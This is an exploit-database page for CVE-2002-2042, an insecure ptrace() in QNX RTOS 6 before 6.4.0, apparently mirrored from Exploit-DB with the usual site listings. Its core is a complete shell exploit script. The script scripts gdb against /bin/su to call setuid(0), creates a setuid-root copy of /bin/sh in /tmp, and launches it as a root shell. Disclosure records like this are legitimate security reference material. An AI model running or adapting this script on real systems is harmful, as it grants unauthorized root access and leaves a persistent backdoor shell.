Lucene search
+L

QNX 6.x - 'ptrace()' Arbitrary Process Modification

🗓️ 03 Jun 2002 00:00:00Reported by badc0dedType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 41 Views

QNX 6.x insecure 'ptrace()' allows privilege escalation via unprivileged process access.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2002-2042
14 Jul 200504:00
cve
cvelist
Cvelist
CVE-2002-2042
14 Jul 200504:00
cvelist
euvd
EUVD
EUVD-2002-2021
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-2042
31 Dec 200205:00
nvd
redhatcve
RedhatCVE
CVE-2002-2042
21 May 202520:31
redhatcve
source: https://www.securityfocus.com/bid/4919/info

The QNX implementation of 'ptrace()' is reportedly insecure. An unprivileged process may attach to a setuid program without restriction. Since the attaching process may view or edit memory, an attacker may exploit this issue to escalate privileges.

This issue affects QNX RTOS 6 prior to 6.4.0.

#!/bin/sh

#include <std_shouts.h>
#include <std_disclaimer.h>
#http://www.badc0ded.com

echo "#!/bin/sh" > /tmp/runme
echo cp /bin/sh /tmp/sh > /tmp/runme
echo chmod 4755 /tmp/sh >> /tmp/runme
chmod 755 /tmp/runme
echo r root -c /tmp/runme > /tmp/badc0ded
echo break *main+44 >> /tmp/badc0ded
echo c >> /tmp/badc0ded
echo "call setuid(0)" >> /tmp/badc0ded
echo c >> /tmp/badc0ded
gdb /bin/su  < badc0ded > /dev/null
echo "www.badc0ded.com"
sleep 1
rm /tmp/runme /tmp/badc0ded
/tmp/sh

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01034
41